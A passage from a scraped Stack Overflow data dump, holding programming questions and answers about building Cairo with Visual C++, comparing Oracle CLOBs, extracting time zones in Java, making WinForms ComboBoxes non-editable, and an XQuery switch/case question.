-O2</code> with <code>CFG_CFLAGS = -MT -O2</code> (linking to the static link version of CRT in release build)</li>\n<li>Replace <code>@mkdir</code> with <code>@\"mkdir\"</code> (there are <code>cmd</code>'s builtin <code>mkdir</code> and GnuWin's <code>mkdir</code>, the quotes force the latter to be used)</li>\n</ul>\n\n<p>Run Visual Studio x86 Native Command Prompt from start menu: </p>\n\n<pre><code>cd /d my_cairo_build_root\ncd pixman\\pixman\nmake -f Makefile.win32\nmake -f Makefile.win32 CFG=debug\n</code></pre>\n\n<h1>cairo</h1>\n\n<p>Edit <code>cairo\\build\\Makefile.win32.common</code>:</p>\n\n<ul>\n<li>Replace <code>CFG_CFLAGS = -MD -O2</code> with <code>CFG_CFLAGS = -MT -O2</code></li>\n<li>Replace <code>CAIRO_LIBS += $(LIBPNG_PATH)/libpng.lib</code> with <code>CAIRO_LIBS += $(LIBPNG_PATH)/lib/$(CFG)/libpng16.lib</code>. Now, copy the directory <code>libpng\\projects\\vstudio\\Debug</code> into (created) <code>libpng\\lib\\</code> and rename it to <code>debug</code>. Copy the directory <code>libpng\\projects\\vstudio\\Release Library</code> into <code>libpng\\lib\\</code> and rename it to <code>release</code>.</li>\n<li>Replace <code>CAIRO_LIBS += $(ZLIB_PATH)/zdll.lib</code> with <code>CAIRO_LIBS += $(LIBPNG_PATH)/lib/$(CFG)/zlib.lib</code></li>\n<li><p>There are two <code>@mkdir -p $(CFG)/`dirname $&lt;`</code> lines. Replace both of them with:</p>\n\n<pre><code>@\"mkdir\" -p $(CFG)/$&lt;\n@\"rmdir\" $(CFG)/$&lt;\n</code></pre></li>\n</ul>\n\n<p>Edit <code>cairo\\build\\Makefile.win32.features-h</code>:</p>\n\n<ul>\n<li>Replace all <code>@echo</code> with <code>@\"echo\"</code></li>\n</ul>\n\n<p>There is an unusable <code>link.exe</code> in GnuWin. Rename <code>C:\\GnuWin\\bin\\link.exe</code> to <code>link_.exe</code> to avoid clash.</p>\n\n<p>Run Visual Studio x86 Native Command Prompt from start menu: </p>\n\n<pre><code>cd /d my_cairo_build_root\ncd cairo\nmake -f Makefile.win32 CFG=debug\nmake -f Makefile.win32 CFG=release\n</code></pre>\n\n<p>The last two command will show <code>\"Built successfully!\"</code> but return error. Ignore them.</p>\n\n<p>Rename back <code>C:\\GnuWin\\bin\\link.exe</code>.</p>\n\n<h1>Configure Visual Studio</h1>\n\n<p>Create a directory <code>include</code> and copy the following headers in:</p>\n\n<ul>\n<li><code>cairo\\cairo-version.h</code> (not <code>cairo\\src\\cairo-version.h</code>)</li>\n<li><code>cairo\\src\\*.h</code>, excluding <code>cairo\\src\\cairo-version.h</code></li>\n</ul>\n\n<p>Add that directory to include path in Visual Studio.</p>\n\n<p>Add <code>cairo\\src\\$(Configuration)</code> and <code>libpng\\lib\\$(Configuration)</code> to library path. <code>$(Configuration)</code> will automatically expand to <code>Debug</code> or <code>Release</code> when building.</p>\n\n<p>Put <code>cairo\\src\\debug\\cairo.dll</code> and <code>libpng\\lib\\debug\\libpng16.dll</code> to one of Windows' <code>PATH</code>.</p>\n\n<p>Before <code>#include &lt;cairo.h&gt;</code>, setup the link options:</p>\n\n<pre><code>#ifndef NDEBUG\n# pragma comment(lib, \"cairo\")\n#else\n#define CAIRO_WIN32_STATIC_BUILD\n# pragma comment(lib, \"cairo-static\")\n# pragma comment(lib, \"libpng16\")\n# pragma comment(lib, \"zlib\")\n#endif\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85622", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14455/" ]
Most precompiled Windows binaries are made with the MSYS+gcc toolchain. It uses MSVCRT runtime, which is incompatible with Visual C++ 2005/2008. So, how to go about and compile Cairo 1.6.4 (or later) for Visual C++ only. Including dependencies (png,zlib,pixman).
Here are instructions for building Cairo/Cairomm with Visual C++. Required: * Visual C++ 2008 Express SP1 (now includes SDK) * MSYS 1.0 To use VC++ command line tools, a batch file 'vcvars32.bat' needs to be run. ``` C:\Program Files\Microsoft Visual Studio 9.0\Common7\Tools\vcvars32.bat ``` ZLib ---- Download (and extract) zlib123.zip from <http://www.zlib.net/> ``` cd zlib123 nmake /f win32/Makefile.msc dir # zlib.lib is the static library # # zdll.lib is the import library for zlib1.dll # zlib1.dll is the shared library ``` libpng ------ Download (and extract) lpng1231.zip from <http://www.libpng.org/pub/png/libpng.html> The VC++ 9.0 compiler gives loads of "this might be unsafe" warnings. Ignore them; this is MS security panic (the code is good). ``` cd lpng1231\lpng1231 # for some reason this is two stories deep nmake /f ../../lpng1231.nmake ZLIB_PATH=../zlib123 dir # libpng.lib is the static library # # dll is not being created ``` Pixman ------ Pixman is part of Cairo, but a separate download. Download (and extract) pixman-0.12.0.tar.gz from <http://www.cairographics.org/releases/> Use MSYS to untar via 'tar -xvzf pixman\*.tar.gz' Both Pixman and Cairo have Makefiles for Visual C++ command line compiler (cl), but they use Gnu makefile and Unix-like tools (sed etc.). This means we have to run the make from within MSYS. Open a command prompt with VC++ command line tools enabled (try 'cl /?'). Turn that command prompt into an MSYS prompt by 'C:\MSYS\1.0\MSYS.BAT'. DO NOT use the MSYS icon, because then your prompt will now know of VC++. You cannot run .bat files from MSYS. Try that VC++ tools work from here: 'cl -?' Try that Gnu make also works: 'make -v'. Cool. ``` cd (use /d/... instead of D:) cd pixman-0.12.0/pixman make -f Makefile.win32 ``` This defaults to MMX and SSE2 optimizations, which require a newish x86 processor (Pentium 4 or Pentium M or above: <http://fi.wikipedia.org/wiki/SSE2> ) There's quite some warnings but it seems to succeed. ``` ls release # pixman-1.lib (static lib required by Cairo) ``` Stay in the VC++ spiced MSYS prompt for also Cairo to compile. cairo ----- Download (and extract) cairo-1.6.4.tar.gz from <http://www.cairographics.org/releases/> ``` cd cd cairo-1.6.4 ``` The Makefile.win32 here is almost good, but has the Pixman path hardwired. Use the modified 'Makefile-cairo.win32': ``` make -f ../Makefile-cairo.win32 CFG=release \ PIXMAN_PATH=../../pixman-0.12.0 \ LIBPNG_PATH=../../lpng1231 \ ZLIB_PATH=../../zlib123 ``` (Write everything on one line, ignoring the backslashes) It says "no rule to make 'src/cairo-features.h'. Use the manually prepared one (in Cairo > 1.6.4 there may be a 'src/cairo-features-win32.h' that you can simply rename): ``` cp ../cairo-features.h src/ ``` Retry the make command (arrow up remembers it). ``` ls src/release # # cairo-static.lib ``` cairomm (C++ API) ----------------- Download (and extract) cairomm-1.6.4.tar.gz from <http://www.cairographics.org/releases/> There is a Visual C++ 2005 Project that we can use (via open & upgrade) for 2008. ``` cairomm-1.6.4\MSCV_Net2005\cairomm\cairomm.vcproj ``` Changes that need to be done: * Change active configuration to "Release" * Cairomm-1.0 properties (with right click menu) ``` C++/General/Additional Include Directories: ..\..\..\cairo-1.6.4\src (append to existing) Linker/General/Additional library directories: ..\..\..\cairo-1.6.4\src\release ..\..\..\lpng1231\lpng1231 ..\..\..\zlib123 Linker/Input/Additional dependencies: cairo-static.lib libpng.lib zlib.lib msimg32.lib ``` * Optimization: fast FPU code ``` C++/Code generation/Floating point model Fast ``` Right click on 'cairomm-1.0' and 'build'. There are some warnings. ``` dir cairomm-1.6.4\MSVC_Net2005\cairomm\Release # # cairomm-1.0.lib # cairomm-1.0.dll # cairomm.def ```
85,675
<p>I have two tables I would like to complare. One of the columns is type CLOB. I would like to do something like this:</p> <pre><code>select key, clob_value source_table minus select key, clob_value target_table </code></pre> <p>Unfortunately, Oracle can't perform minus operations on clobs. How can I do this?</p>
[ { "answer_id": 85716, "author": "hamishmcn", "author_id": 3590, "author_profile": "https://Stackoverflow.com/users/3590", "pm_score": 2, "selected": false, "text": "<p>Can you access the data via a built in package? If so then perhaps you could write a function that returned a string representation of the data (eg some sort of hash on the data), then you could do</p>\n\n<pre><code>select key, to_hash_str_val(glob_value) from source_table\nminus\nselect key, to_hash_str_val(glob_value) from target_table\n</code></pre>\n" }, { "answer_id": 85730, "author": "Nick Craver", "author_id": 13249, "author_profile": "https://Stackoverflow.com/users/13249", "pm_score": 5, "selected": true, "text": "<p>The format is this: </p>\n\n<pre><code>dbms_lob.compare( \nlob_1 IN BLOB, \nlob_2 IN BLOB, \namount IN INTEGER := 18446744073709551615, \noffset_1 IN INTEGER := 1, \noffset_2 IN INTEGER := 1) \nRETURN INTEGER; \n</code></pre>\n\n<hr>\n\n<p>If dbms_lob.compare(lob1, lob2) = 0, they are identical.</p>\n\n<p>Here's an example query based on your example: </p>\n\n<pre><code>Select key, glob_value \nFrom source_table Left Join target_table \n On source_table.key = target_table.key \nWhere target_table.glob_value is Null \n Or dbms_lob.compare(source_table.glob_value, target_table.glob_value) &lt;&gt; 0\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85675", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16484/" ]
I have two tables I would like to complare. One of the columns is type CLOB. I would like to do something like this: ``` select key, clob_value source_table minus select key, clob_value target_table ``` Unfortunately, Oracle can't perform minus operations on clobs. How can I do this?
The format is this: ``` dbms_lob.compare( lob_1 IN BLOB, lob_2 IN BLOB, amount IN INTEGER := 18446744073709551615, offset_1 IN INTEGER := 1, offset_2 IN INTEGER := 1) RETURN INTEGER; ``` --- If dbms\_lob.compare(lob1, lob2) = 0, they are identical. Here's an example query based on your example: ``` Select key, glob_value From source_table Left Join target_table On source_table.key = target_table.key Where target_table.glob_value is Null Or dbms_lob.compare(source_table.glob_value, target_table.glob_value) <> 0 ```
85,701
<p>I have a database field that contains a raw date field (stored as character data), such as </p> <blockquote> <p>Friday, September 26, 2008 8:30 PM Eastern Daylight Time</p> </blockquote> <p>I can parse this as a Date easily, with SimpleDateFormat</p> <pre><code>DateFormat dbFormatter = new SimpleDateFormat("EEEE, MMMM dd, yyyy hh:mm aa zzzz"); Date scheduledDate = dbFormatter.parse(rawDate); </code></pre> <p>What I'd like to do is extract a TimeZone object from this string. The default TimeZone in the JVM that this application runs in is GMT, so I can't use <code>.getTimezoneOffset()</code> from the <code>Date</code> parsed above (because it will return the default TimeZone).</p> <p>Besides tokenizing the raw string and finding the start position of the Timezone string (since I know the format will always be <code>EEEE, MMMM dd, yyyy hh:mm aa zzzz</code>) is there a way using the DateFormat/SimpleDateFormat/Date/Calendar API to extract a TimeZone object - which will have the same TimeZone as the String I've parsed apart with <code>DateFormat.parse()</code>?</p> <p>One thing that bugs me about <code>Date</code> vs <code>Calendar</code> in the Java API is that <code>Calendar</code> is supposed to replace <code>Date</code> in all places... but then they decided, oh hey let's still use <code>Date</code>'s in the <code>DateFormat</code> classes.</p>
[ { "answer_id": 85862, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 0, "selected": false, "text": "<p>Well as a partial solution you could use a RegEx match to get the timezone since you will always have the same text before it. AM or PM.</p>\n\n<p>I don't know enough about Java timezones to get you the last part of it.</p>\n" }, { "answer_id": 86183, "author": "Ed Thomas", "author_id": 8256, "author_profile": "https://Stackoverflow.com/users/8256", "pm_score": 2, "selected": false, "text": "<p>I found that the following:</p>\n\n<pre><code> DateFormat dbFormatter = new SimpleDateFormat(\"EEEE, MMMM dd, yyyy hh:mm aa zzzz\");\n dbFormatter.setTimeZone(TimeZone.getTimeZone(\"America/Chicago\"));\n Date scheduledDate = dbFormatter.parse(\"Friday, September 26, 2008 8:30 PM Eastern Daylight Time\");\n System.out.println(scheduledDate);\n System.out.println(dbFormatter.format(scheduledDate));\n TimeZone tz = dbFormatter.getTimeZone();\n System.out.println(tz.getDisplayName());\n dbFormatter.setTimeZone(TimeZone.getTimeZone(\"America/Chicago\"));\n System.out.println(dbFormatter.format(scheduledDate));\n</code></pre>\n\n<p>Produces the following:</p>\n\n<pre><code>Fri Sep 26 20:30:00 CDT 2008\nFriday, September 26, 2008 08:30 PM Eastern Standard Time\nEastern Standard Time\nFriday, September 26, 2008 08:30 PM Central Daylight Time\n</code></pre>\n\n<p>I actually found this to be somewhat surprising. But, I guess that shows that the answer to your question is to simply call getTimeZone on the formatter after you've parsed.</p>\n\n<p>Edit:\nThe above was run with Sun's JDK 1.6. </p>\n" }, { "answer_id": 86229, "author": "Roland Schneider", "author_id": 16515, "author_profile": "https://Stackoverflow.com/users/16515", "pm_score": 0, "selected": false, "text": "<p>The main difference between Date and Calendar is, that Date is just a value object with no methods to modify it. So it is designed for storing a date/time information somewhere. If you use a Calendar object, you could modify it after it is set to a persistent entity that performs some business logic with the date/time information. This is very dangerous, because the entity has no way to recognize this change.\nThe Calendar class is designed for operations on date/time, like adding days or something like that.</p>\n\n<p>Playing around with your example I get the following:</p>\n\n<pre><code>import java.text.DateFormat;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\n\npublic class TimeZoneExtracter {\n\n public static final void main(String[] args) throws ParseException {\n DateFormat dbFormatter = new SimpleDateFormat(\"EEEE, MMMM dd, yyyy hh:mm aa zzzz\");\n System.out.println(dbFormatter.getTimeZone());\n dbFormatter.parse(\"Fr, September 26, 2008 8:30 PM Eastern Daylight Time\");\n System.out.println(dbFormatter.getTimeZone());\n }\n\n}\n</code></pre>\n\n<p>Output:</p>\n\n<blockquote>\n <p>sun.util.calendar.ZoneInfo[id=\"Europe/Berlin\"...\n sun.util.calendar.ZoneInfo[id=\"Africa/Addis_Ababa\"...</p>\n</blockquote>\n\n<p>Is this the result you wanted?</p>\n" }, { "answer_id": 86303, "author": "matt b", "author_id": 4249, "author_profile": "https://Stackoverflow.com/users/4249", "pm_score": 1, "selected": false, "text": "<p>@Ed Thomas:</p>\n<p>I've tried something very similar to your example and I get very different results:</p>\n<pre><code>String testString = &quot;Friday, September 26, 2008 8:30 PM Pacific Standard Time&quot;;\nDateFormat df = new SimpleDateFormat(&quot;EEEE, MMMM dd, yyyy hh:mm aa zzzz&quot;);\n\nSystem.out.println(&quot;The default TimeZone is: &quot; + TimeZone.getDefault().getDisplayName());\n\nSystem.out.println(&quot;DateFormat timezone before parse: &quot; + df.getTimeZone().getDisplayName());\n\nDate date = df.parse(testString);\n\nSystem.out.println(&quot;Parsed [&quot; + testString + &quot;] to Date: &quot; + date);\n\nSystem.out.println(&quot;DateFormat timezone after parse: &quot; + df.getTimeZone().getDisplayName());\n</code></pre>\n<p>Output:</p>\n<blockquote>\n<p>The default TimeZone is: Eastern Standard Time</p>\n<p>DateFormat timezone before parse: Eastern Standard Time</p>\n<p>Parsed [Friday, September 26, 2008 8:30 PM Pacific Standard Time] to Date: Sat Sep 27 00:30:00 EDT 2008</p>\n<p>DateFormat timezone after parse: Eastern Standard Time</p>\n</blockquote>\n<p>Seems like <code>DateFormat.getTimeZone()</code> returns the same TimeZone before and after the <code>parse()</code>... even if I throw in an explicit <code>setTimeZone()</code> before calling <code>parse()</code>.</p>\n<p>Looking at the source for DateFormat and SimpleDateFormat, seems like <code>getTimeZone()</code> just returns the TimeZone of the underlying Calendar... which will default to the Calendar of the default Locale/TimeZone unless you specify a certain one to use.</p>\n" }, { "answer_id": 86411, "author": "Mike Pone", "author_id": 16404, "author_profile": "https://Stackoverflow.com/users/16404", "pm_score": 0, "selected": false, "text": "<p>Ed has it right. you want the timeZone on the DateFormat object after the time has been parsed.</p>\n\n<pre><code> String rawDate = \"Friday, September 26, 2008 8:30 PM Eastern Daylight Time\";\n DateFormat dbFormatter = new SimpleDateFormat(\"EEEE, MMMM dd, yyyy hh:mm aa zzzz\");\n Date scheduledDate = dbFormatter.parse(rawDate);\n\n System.out.println(rawDate); \n System.out.println(scheduledDate); \n System.out.println(dbFormatter.getTimeZone().getDisplayName());\n</code></pre>\n\n<p>produces</p>\n\n<pre><code>Friday, September 26, 2008 8:30 PM Eastern Daylight Time\nFri Sep 26 20:30:00 CDT 2008\nEastern Standard Time\n</code></pre>\n" }, { "answer_id": 86511, "author": "Aaron", "author_id": 2628, "author_profile": "https://Stackoverflow.com/users/2628", "pm_score": 1, "selected": false, "text": "<p>I recommend checking out the <strong>Joda Time date and time API</strong>. I have recently been converted to a believer in it as it tends to be highly superior to the built-in support for dates and times in Java. In particular, you should check out the <strong>DateTimeZone</strong> class. Hope this helps. </p>\n\n<p><a href=\"http://joda-time.sourceforge.net/\" rel=\"nofollow noreferrer\">http://joda-time.sourceforge.net/</a></p>\n\n<p><a href=\"http://joda-time.sourceforge.net/api-release/index.html\" rel=\"nofollow noreferrer\">http://joda-time.sourceforge.net/api-release/index.html</a></p>\n" }, { "answer_id": 40254182, "author": "Basil Bourque", "author_id": 642706, "author_profile": "https://Stackoverflow.com/users/642706", "pm_score": 1, "selected": false, "text": "<h1>tl;dr</h1>\n\n<pre><code>ZonedDateTime.parse( \n \"Friday, September 26, 2008 8:30 PM Eastern Daylight Time\" , \n DateTimeFormatter.ofPattern( \"EEEE, MMMM d, uuuu h:m a zzzz\" ) \n).getZone()\n</code></pre>\n\n<h1>java.time</h1>\n\n<p>The modern way is with the java.time classes. The Question and other Answers use the troublesome old legacy date-time classes or the the Joda-Time project, both of which are now supplanted by the java.time classes.</p>\n\n<p>Define a <code>DateTimeFormatter</code> object with a formatting pattern to match your data.</p>\n\n<pre><code>DateTimeFormatter f = DateTimeFormatter.ofPattern( \"EEEE, MMMM d, uuuu h:m a zzzz\" );\n</code></pre>\n\n<p>Assign a <code>Locale</code> to specify the human language of the name-of-day and name of month, as well as the cultural norms for other formatting issues.</p>\n\n<pre><code>f = f.withLocale( Locale.US );\n</code></pre>\n\n<p>Lastly, do the parsing to get a <code>ZonedDateTime</code> object.</p>\n\n<pre><code>String input = \"Friday, September 26, 2008 8:30 PM Eastern Daylight Time\" ;\nZonedDateTime zdt = ZonedDateTime.parse( input , f );\n</code></pre>\n\n<blockquote>\n <p>zdt.toString(): 2008-09-26T20:30-04:00[America/New_York]</p>\n</blockquote>\n\n<p>You can ask for the time zone from the <code>ZonedDateTime</code>, represented as a <code>ZoneId</code> object. You can then interrogate the <code>ZoneId</code> if you need more info about the time zone.</p>\n\n<pre><code>ZoneId z = zdt.getZone();\n</code></pre>\n\n<p><a href=\"http://ideone.com/vYSd3M\" rel=\"nofollow noreferrer\">See for yourself in IdeOne.com</a>.</p>\n\n<h1>ISO 8601</h1>\n\n<p>Avoid exchanging date-time data in this kind of <em>terrible</em> format. Do not assume English, do not accessorize your output with things like the name-of-day, and never use pseudo-time-zones such as <code>Eastern Daylight Time</code>. </p>\n\n<p>For time zones: Specify a <a href=\"https://en.wikipedia.org/wiki/List_of_tz_zones_by_name\" rel=\"nofollow noreferrer\">proper time zone name</a> in the format of <code>continent/region</code>, such as <a href=\"https://en.wikipedia.org/wiki/America/Montreal\" rel=\"nofollow noreferrer\"><code>America/Montreal</code></a>, <a href=\"https://en.wikipedia.org/wiki/Africa/Casablanca\" rel=\"nofollow noreferrer\"><code>Africa/Casablanca</code></a>, or <code>Pacific/Auckland</code>. Never use the 3-4 letter abbreviation such as <code>EST</code> or <code>IST</code> as they are not true time zones, not standardized, and not even unique(!). </p>\n\n<p>For serializing date-time values to text, use only the <a href=\"https://en.wikipedia.org/wiki/ISO_8601\" rel=\"nofollow noreferrer\">ISO 8601</a> formats. The java.time classes use these formats by default when parsing/generating strings to represent their value.</p>\n\n<hr>\n\n<h1>About java.time</h1>\n\n<p>The <a href=\"http://docs.oracle.com/javase/8/docs/api/java/time/package-summary.html\" rel=\"nofollow noreferrer\">java.time</a> framework is built into Java 8 and later. These classes supplant the troublesome old <a href=\"https://en.wikipedia.org/wiki/Legacy_system\" rel=\"nofollow noreferrer\">legacy</a> date-time classes such as <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Date.html\" rel=\"nofollow noreferrer\"><code>java.util.Date</code></a>, <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html\" rel=\"nofollow noreferrer\"><code>Calendar</code></a>, &amp; <a href=\"http://docs.oracle.com/javase/8/docs/api/java/text/SimpleDateFormat.html\" rel=\"nofollow noreferrer\"><code>SimpleDateFormat</code></a>.</p>\n\n<p>The <a href=\"http://www.joda.org/joda-time/\" rel=\"nofollow noreferrer\">Joda-Time</a> project, now in <a href=\"https://en.wikipedia.org/wiki/Maintenance_mode\" rel=\"nofollow noreferrer\">maintenance mode</a>, advises migration to java.time.</p>\n\n<p>To learn more, see the <a href=\"http://docs.oracle.com/javase/tutorial/datetime/TOC.html\" rel=\"nofollow noreferrer\">Oracle Tutorial</a>. And search Stack Overflow for many examples and explanations. Specification is <a href=\"https://jcp.org/en/jsr/detail?id=310\" rel=\"nofollow noreferrer\">JSR 310</a>.</p>\n\n<p>Where to obtain the java.time classes? </p>\n\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Java_version_history#Java_SE_8\" rel=\"nofollow noreferrer\"><strong>Java SE 8</strong></a> and <a href=\"https://en.wikipedia.org/wiki/Java_version_history#Java_SE_9\" rel=\"nofollow noreferrer\"><strong>SE 9</strong></a> and later\n\n<ul>\n<li>Built-in. </li>\n<li>Part of the standard Java API with a bundled implementation.</li>\n<li>Java 9 adds some minor features and fixes.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Java_version_history#Java_SE_6\" rel=\"nofollow noreferrer\"><strong>Java SE 6</strong></a> and <a href=\"https://en.wikipedia.org/wiki/Java_version_history#Java_SE_7\" rel=\"nofollow noreferrer\"><strong>SE 7</strong></a>\n\n<ul>\n<li>Much of the java.time functionality is back-ported to Java 6 &amp; 7 in <a href=\"http://www.threeten.org/threetenbp/\" rel=\"nofollow noreferrer\"><strong><em>ThreeTen-Backport</em></strong></a>.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Android_(operating_system)\" rel=\"nofollow noreferrer\"><strong>Android</strong></a>\n\n<ul>\n<li>The <a href=\"https://github.com/JakeWharton/ThreeTenABP\" rel=\"nofollow noreferrer\"><em>ThreeTenABP</em></a> project adapts <strong><em>ThreeTen-Backport</em></strong> (mentioned above) for Android specifically.</li>\n<li>See <a href=\"https://stackoverflow.com/q/38922754/642706\"><em>How to use…</em></a>.</li>\n</ul></li>\n</ul>\n\n<p>The <a href=\"http://www.threeten.org/threeten-extra/\" rel=\"nofollow noreferrer\">ThreeTen-Extra</a> project extends java.time with additional classes. This project is a proving ground for possible future additions to java.time. You may find some useful classes here such as <a href=\"http://www.threeten.org/threeten-extra/apidocs/org/threeten/extra/Interval.html\" rel=\"nofollow noreferrer\"><code>Interval</code></a>, <a href=\"http://www.threeten.org/threeten-extra/apidocs/org/threeten/extra/YearWeek.html\" rel=\"nofollow noreferrer\"><code>YearWeek</code></a>, <a href=\"http://www.threeten.org/threeten-extra/apidocs/org/threeten/extra/YearQuarter.html\" rel=\"nofollow noreferrer\"><code>YearQuarter</code></a>, and <a href=\"http://www.threeten.org/threeten-extra/apidocs/index.html\" rel=\"nofollow noreferrer\">more</a>.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85701", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4249/" ]
I have a database field that contains a raw date field (stored as character data), such as > > Friday, September 26, 2008 8:30 PM Eastern Daylight Time > > > I can parse this as a Date easily, with SimpleDateFormat ``` DateFormat dbFormatter = new SimpleDateFormat("EEEE, MMMM dd, yyyy hh:mm aa zzzz"); Date scheduledDate = dbFormatter.parse(rawDate); ``` What I'd like to do is extract a TimeZone object from this string. The default TimeZone in the JVM that this application runs in is GMT, so I can't use `.getTimezoneOffset()` from the `Date` parsed above (because it will return the default TimeZone). Besides tokenizing the raw string and finding the start position of the Timezone string (since I know the format will always be `EEEE, MMMM dd, yyyy hh:mm aa zzzz`) is there a way using the DateFormat/SimpleDateFormat/Date/Calendar API to extract a TimeZone object - which will have the same TimeZone as the String I've parsed apart with `DateFormat.parse()`? One thing that bugs me about `Date` vs `Calendar` in the Java API is that `Calendar` is supposed to replace `Date` in all places... but then they decided, oh hey let's still use `Date`'s in the `DateFormat` classes.
I found that the following: ``` DateFormat dbFormatter = new SimpleDateFormat("EEEE, MMMM dd, yyyy hh:mm aa zzzz"); dbFormatter.setTimeZone(TimeZone.getTimeZone("America/Chicago")); Date scheduledDate = dbFormatter.parse("Friday, September 26, 2008 8:30 PM Eastern Daylight Time"); System.out.println(scheduledDate); System.out.println(dbFormatter.format(scheduledDate)); TimeZone tz = dbFormatter.getTimeZone(); System.out.println(tz.getDisplayName()); dbFormatter.setTimeZone(TimeZone.getTimeZone("America/Chicago")); System.out.println(dbFormatter.format(scheduledDate)); ``` Produces the following: ``` Fri Sep 26 20:30:00 CDT 2008 Friday, September 26, 2008 08:30 PM Eastern Standard Time Eastern Standard Time Friday, September 26, 2008 08:30 PM Central Daylight Time ``` I actually found this to be somewhat surprising. But, I guess that shows that the answer to your question is to simply call getTimeZone on the formatter after you've parsed. Edit: The above was run with Sun's JDK 1.6.
85,702
<p>I want to have a "select-only" <code>ComboBox</code> that provides a list of items for the user to select from. Typing should be disabled in the text portion of the <code>ComboBox</code> control.</p> <p>My initial googling of this turned up an overly complex, misguided suggestion to capture the <code>KeyPress</code> event.</p>
[ { "answer_id": 85706, "author": "Cory Engebretson", "author_id": 3406, "author_profile": "https://Stackoverflow.com/users/3406", "pm_score": 10, "selected": true, "text": "<p>To make the text portion of a ComboBox non-editable, set the DropDownStyle property to \"DropDownList\". The ComboBox is now essentially select-only for the user. You can do this in the Visual Studio designer, or in C# like this:</p>\n\n<pre><code>stateComboBox.DropDownStyle = ComboBoxStyle.DropDownList;\n</code></pre>\n\n<p>Link to the documentation for the <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.forms.combobox.dropdownstyle.aspx\" rel=\"noreferrer\">ComboBox DropDownStyle property</a> on MSDN.</p>\n" }, { "answer_id": 12285873, "author": "LZara", "author_id": 1314537, "author_profile": "https://Stackoverflow.com/users/1314537", "pm_score": 5, "selected": false, "text": "<p>Stay on your ComboBox and search the DropDropStyle property from the properties window and then choose <em>DropDownList</em>.</p>\n" }, { "answer_id": 26005210, "author": "invertigo", "author_id": 1241244, "author_profile": "https://Stackoverflow.com/users/1241244", "pm_score": 6, "selected": false, "text": "<p>To add a Visual Studio GUI reference, you can find the <code>DropDownStyle</code> options under the Properties of the selected ComboBox:</p>\n\n<p><img src=\"https://i.stack.imgur.com/2K5dT.png\" alt=\"enter image description here\"></p>\n\n<p>Which will automatically add the line mentioned in the first answer to the Form.Designer.cs <code>InitializeComponent()</code>, like so:</p>\n\n<pre><code>this.comboBoxBatch.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n</code></pre>\n" }, { "answer_id": 35766958, "author": "Abhishek Jaiswal", "author_id": 5275530, "author_profile": "https://Stackoverflow.com/users/5275530", "pm_score": 2, "selected": false, "text": "<pre class=\"lang-cs prettyprint-override\"><code>COMBOBOXID.DropDownStyle = ComboBoxStyle.DropDownList;\n</code></pre>\n" }, { "answer_id": 41678049, "author": "Diogo Rodrigues", "author_id": 3952930, "author_profile": "https://Stackoverflow.com/users/3952930", "pm_score": 1, "selected": false, "text": "<p>To continue displaying data in the input after selecting, do so:</p>\n\n<pre><code>VB.NET\nPrivate Sub ComboBox1_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles ComboBox1.KeyPress\n e.Handled = True\nEnd Sub\n\n\n\nC#\nPrivate void ComboBox1_KeyPress(object sender, KeyPressEventArgs e)\n{\n e.Handled = true;\n}\n</code></pre>\n" }, { "answer_id": 65698751, "author": "Rami Roosan", "author_id": 14984878, "author_profile": "https://Stackoverflow.com/users/14984878", "pm_score": 0, "selected": false, "text": "<p>for winforms .NET change DropDownStyle to DropDownList from Combobox property</p>\n" }, { "answer_id": 71539504, "author": "lava", "author_id": 7706354, "author_profile": "https://Stackoverflow.com/users/7706354", "pm_score": 2, "selected": false, "text": "<p><strong>Before</strong></p>\n<p><a href=\"https://i.stack.imgur.com/ID24q.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ID24q.gif\" alt=\"enter image description here\" /></a></p>\n<h2><strong>Method1</strong></h2>\n<p><a href=\"https://i.stack.imgur.com/WODDc.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WODDc.gif\" alt=\"enter image description here\" /></a></p>\n<h2><strong>Method2</strong></h2>\n<pre><code>cmb_type.DropDownStyle=ComboBoxStyle.DropDownList\n</code></pre>\n<p><strong>After</strong></p>\n<p><a href=\"https://i.stack.imgur.com/L1l5d.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L1l5d.gif\" alt=\"enter image description here\" /></a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85702", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3406/" ]
I want to have a "select-only" `ComboBox` that provides a list of items for the user to select from. Typing should be disabled in the text portion of the `ComboBox` control. My initial googling of this turned up an overly complex, misguided suggestion to capture the `KeyPress` event.
To make the text portion of a ComboBox non-editable, set the DropDownStyle property to "DropDownList". The ComboBox is now essentially select-only for the user. You can do this in the Visual Studio designer, or in C# like this: ``` stateComboBox.DropDownStyle = ComboBoxStyle.DropDownList; ``` Link to the documentation for the [ComboBox DropDownStyle property](http://msdn.microsoft.com/en-us/library/system.windows.forms.combobox.dropdownstyle.aspx) on MSDN.
85,761
<p>I have an external variable coming in as a string and I would like to do a switch/case on it. How do I do that in xquery?</p>
